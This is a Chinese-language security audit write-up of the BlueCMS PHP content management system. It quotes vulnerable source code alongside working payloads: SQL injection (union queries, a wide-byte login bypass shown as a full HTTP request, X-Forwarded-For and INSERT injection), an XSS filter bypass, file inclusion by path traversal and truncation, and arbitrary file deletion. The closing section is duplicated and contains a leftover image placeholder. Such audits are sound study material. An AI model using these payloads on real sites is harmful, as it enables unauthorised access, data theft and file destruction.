bluecms代码审计
(一) 运行环境需求:
可用的 httpd 服务器(如 Apache、Zeus、IIS 等)
PHP 4.3.0 及以上
MySQL 4.1 及以上
配置文件审计
看到uploads/install/include/common.inc.php
当然我们可能自己根本不知道那个是重要的文件,可以看到
大多数文件都有这样的代码
/include/common.inc.php
我们看到这个文件的重点
if(!get_magic_quotes_gpc())
{
$_POST = install_deep_addslashes($_POST);
$_GET = install_deep_addslashes($_GET);
$_COOKIES = install_deep_addslashes($_COOKIES);
$_REQUEST = install_deep_addslashes($_REQUEST);
}
看到deep_addslashes()
函数
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
可以看到做了转义的处理,让sql注入变得困难,不过我们数字型或者宽字节的注入还是可以实现的
而且漏了$_SERVER
sql注入漏洞
/ad_js.php
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到我们的id是可以控制的,而且没有单引号包裹,可以使用我们的联合查询
?ad_id=1 union select 1,2,3,4,5,6,7
回显需要看源码才能看到,自己不想再回去截图了,使用别人的
证明有漏洞后直接sqlmap了
/admin/nav.php
这个就需要登录到后台了
elseif($act=='edit')
{
$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
$nav = $db->getone($sql);
$smarty->assign('nav',$nav);
$smarty->assign('act', $act );
$smarty->display('nav_info.htm');
}
可以看见也是直接的拼接
还是一样的
/user.php
在登录界面
POST /uploads/user.php?act=index_login HTTP/1.1
Host: bluecms:8907
Content-Length: 44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bluecms:8907
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://bluecms:8907/uploads/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: detail=4; PHPSESSID=qpooug10oc67sav4ckcrrj5uj2
Connection: keep-alive
user_name=ljlljl&pwd=%df') or 1=1#&x=32&y=13
使用宽字节注入就可以成功的使用万能密码登录
X-Forwarded-For头注入
在我们的评论页面
对应的代码部分
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
可以看到还会把我们的IP给放入,看一下getip函数
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
我们可伪造X_FORWARDED_FOR头进行注入
然后我们还可以全局搜索这个getip函数在哪里调用还能找到其他的地方
比如
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
然后追踪到$online_ip = getip();
INSERT SQL注入
在http://bluecms:8907/uploads/user.php?act=reg
我们看到代码部分
$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
可以看到是有5个数据的,我们先是闭合我们的单引号,然后还需要插入3个数据
然后闭合好了之后,自己再来5个数据
%df',1,1),(1,nn0nkey,md5(123456),(select database()),1,1) #
sql语句就是这样的
"INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '%df',1,1),(88,1223,md5(123456),(select database()),1,1) )";
其他的
其实有很多不可以的地方这里也说一下,首先是我们只能找数字型了,或者报错注入也可以,但是这个代码没有输出报错的信息,一些数字型注入的输入都是被intval函数修饰了的,刚刚的两个都是没有被修饰的
XSS漏洞
ad_js.php
这里也存在我们的xss漏洞,看到源码
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
最后是会把我们的查询结果输出的,而我们经过尝试,如果出错的结果页面上是这样的
Error:Query error:SELECT * FROM blue_ad WHERE ad_id =1 union select 1,2,3,4,5,6
可以看到是把我们的输入部分展示在了页面上,尝试xss
/user.php
act=edit_user_info
这个是我们如果注册了之后登录,就会来到这个代码,他根据我们act参数输入的不同来实现不同的功能
在编辑个人资料界面
对应的代码
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
可以看见我们的一些输入是没有过滤的,比如邮箱
然后编辑过后会来到
elseif($act == 'my_info'){
$sql = "SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']);
$user = $db->getone($sql);
if($user['user_id'] != $_SESSION['user_id']){
return false;
}
template_assign(array('act', 'user', 'bot_nav', 'current_act'), array($act, $user, $bot_nav, '会员个人资料'));
$smarty->display('user.htm');
}
会展示我的htm文件造成xss
act=do_add_news
代码部分
$image = new upload();
$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
if(empty($cid)){
showmsg('新闻分类不能为空');
}
$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');
可以看到大部分都是过滤了的,但是
评论的内容采用filter_data()
函数过滤
追踪filter_data()
函数,位于common.fun.php
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}
这个绕过的方法很多,
<p><img src=1 onerror=alert(1)></p>
文件包含
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
这个只能在低版本实现,可以看到是前面和后面都有限制的
可以使用../
进行目录遍历,后面的/index.php
如果php
版本低于5.3.4
且magic_quotes_gpc=off
则可以使用%00
截断,导致任意文件包含。
还可以使用.号路径长度截断,Windows
下目录最大长度为256
字节,Linux
下目录最大长度为4096
字节
pay=/../../robots.txt........................................................... ................................................................................ ................................................................................ ................................................................................ ................................................................................ ......
任意文件删除
/user.php
首先要清楚删除文件的函数,当然我们一般使用工具就ok了
然后我们看到
elseif($act == 'edit_user_info'){
$user_id = intval($_SESSION['user_id']);
if(empty($user_id)){
return false;
}
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
showmsg('只支持本站相对路径地址');
}
else{
$face_pic = trim($_POST['face_pic1']);
}
}else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}
重点是最后一段,如果我们的face_pic1和face_pic2不存在的话,就去判断文件里面是否有face_pic3,如果有就删除,没有任何限制的
还可以目录穿越,是在我们修改用户信息的界面,bp抓个包,我删除了无关的部分
只需要传入我们想要删除的文件就好了
然后还有一个比较简单的
elseif($act == 'del_pic'){
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
if(file_exists(BLUE_ROOT.$id)){
@unlink(BLUE_ROOT.$id);
}
}
重点是最后一段,如果我们的face_pic1和face_pic2不存在的话,就去判断文件里面是否有face_pic3,如果有就删除,没有任何限制的
还可以目录穿越,是在我们修改用户信息的界面,bp抓个包,我删除了无关的部分[外链图片转存中…(img-BhB59qi7-1723698503189)]
只需要传入我们想要删除的文件就好了
然后还有一个比较简单的
elseif($act == 'del_pic'){
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
if(file_exists(BLUE_ROOT.$id)){
@unlink(BLUE_ROOT.$id);
}
}